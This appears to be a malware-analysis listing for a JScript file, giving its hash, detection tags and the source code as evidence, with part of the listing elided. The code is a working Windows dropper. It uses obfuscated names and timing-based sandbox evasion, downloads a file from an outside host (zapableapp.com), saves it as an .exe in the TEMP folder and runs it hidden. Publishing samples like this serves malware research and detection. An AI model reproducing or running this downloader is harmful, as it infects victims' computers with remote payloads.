20160328_4dbfb96861f63393a8506236e353a77d.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25606e6ef8aa8ea683f23f63812402ed62febe100e1e1344c2f525b42aa34e4be4e
Evidence
1var Fvhqvktqoh = false;
2var Suqcc = "CreateObject";
3var Wiggrewxd = function Jhsnzbo() {return WScript[Suqcc]("WScript.Shell");}();
4var Eqgommfjku = 123213;
5var Ehwtj = "MSXML2.XMLHTTP";
6var Xfdvphbek = 2123213;
7var Ayfurx = 0;
8function Tsivyjm(Wmrlj){Wiggrewxd["Run"](Wmrlj, Ayfurx, Ayfurx);};
9function Mdfrd(){return Ehwtj;};
10function Pajzwli(Pnkhqb, Jbehj){return Pnkhqb - Jbehj;};
11function Zzeyvpne(){return Suqcc;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Fvhqvktqoh = true;
15 @end
16@*/
17var Bkqnxfuo = "";
18if (Fvhqvktqoh)
19{
20function Dwywhrul(){return 22;};
21var Nnzrkj = 0; var Ukwbdtjarw = 0;
22function Plizjx()
23{
24var Ndrabno = new this["Date"]();
25var Racjhnylch = Ndrabno["getUTCMilliseconds"]();
26WScript["Sleep"](Dwywhrul());
27var Ndrabno = new this["Date"]();
28var Lgaxmu = Ndrabno["getUTCMilliseconds"]();
29WScript["Sleep"](Dwywhrul());
30var Ndrabno = new this["Date"]();
31var Ylwjcvdgt = Ndrabno["getUTCMilliseconds"]();
32var Nnzrkj = "Gosbeqaber";
33Nnzrkj = Pajzwli(Lgaxmu, Racjhnylch);
34var Ukwbdtjarw = "Qubdzo";
35Ukwbdtjarw = Pajzwli(Ylwjcvdgt, Lgaxmu);
36Bkqnxfuo = "open";
37return Pajzwli(Nnzrkj, Ukwbdtjarw);
38}
39var Qetks = false;
40var Vyjabf = false;
41for (var Glutaxje = Ayfurx; Glutaxje < Dwywhrul() * 1; Glutaxje++){if (Plizjx() != Ayfurx){
42Qetks = …
49:2… f (Qetks && Zuoazh() && Vyjabf){
50function Ijzdtpgbcc() {return Wiggrewxd["ExpandEnvironmentStrings"]("%TEMP%/") + "i0jhKhJ2A2p7oXW.exe";};
51 Sxhljjljcp = Mdfrd();
52 Dsdrkm = WScript[Suqcc](Sxhljjljcp);
53 var Thkggwude = 1;
54 while (Thkggwude){
55try {
56Dsdrkm[Bkqnxfuo]("GET", "http://zapableapp.com/l1sape", false);
57Dsdrkm["send"]();
58Lutfdvqjo = "Sleep";
59do {WScript[Lutfdvqjo](Dwywhrul() * 11)} while (Dsdrkm["readystate"] < 4 );
60Thkggwude = Ayfurx;
61} catch(Eeqpktyr){Thkggwude = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Lqgrprvye(Egvcmwaaob) {var Dikyrvvteb = (1, 2, 3, 4, 5, Egvcmwaaob); return Dikyrvvteb;};
64Ddnxcmacqy = WScript[Zzeyvpne()]("ADODB.Stream");
65Sxhljjljcp = Ddnxcmacqy;
66Sxhljjljcp[Bkqnxfuo]();
67Sxhljjljcp["type"] = Lqgrprvye(1);
68Sxhljjljcp["write"](Dsdrkm["ResponseBody"]);
69Ddnxcmacqy["position"] = Lqgrprvye(Ayfurx);
70Sxhljjljcp["SaveToFile"](Ijzdtpgbcc(), Lqgrprvye(2) );
71Ddnxcmacqy["close"]();
72Tsivyjm(Ijzdtpgbcc());
73}
74}
75